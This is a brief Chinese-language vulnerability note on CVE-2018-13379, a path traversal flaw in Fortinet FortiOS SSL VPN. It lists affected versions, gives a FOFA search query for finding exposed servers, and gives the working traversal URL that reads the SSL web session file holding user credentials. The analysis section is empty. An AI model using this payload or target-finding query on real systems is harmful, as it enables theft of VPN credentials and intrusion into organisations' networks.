Fortinet FortiOS 路径遍历漏洞(CVE-2018-13379）

1 漏洞简介

早在2019年5月24日，飞塔官方就发布了CVE-2018-13379漏洞的安全公告，但直到8月份才有漏洞Exp流出，导致漏洞蔓延。

据官方介绍，CVE-2018-13379是SSL VPN中的一个目录遍历漏洞，该漏洞源于网络系统或产品未能正确地过滤资源或文件路径中的特殊元素，导致攻击者可利用该漏洞访问受限目录之外的文件。

受影响的版本：

FortiOS/5.6.3 ~ 5.6.7、FortiOS/6.0.0 ~ 6.0.4

2 环境搭建

使用FOFA中搜索飞塔SSL VPN服务器，
body=“FortiToken clock drift detected”

可以看到有15.3万个独立IP，搜索结果如下图：

*Username:*无

*Password:*无

3 漏洞分析

4 漏洞验证

https://网址/remote/fgt_lang?lang=/../../../..//dev/cmdb/ssl_websession

poc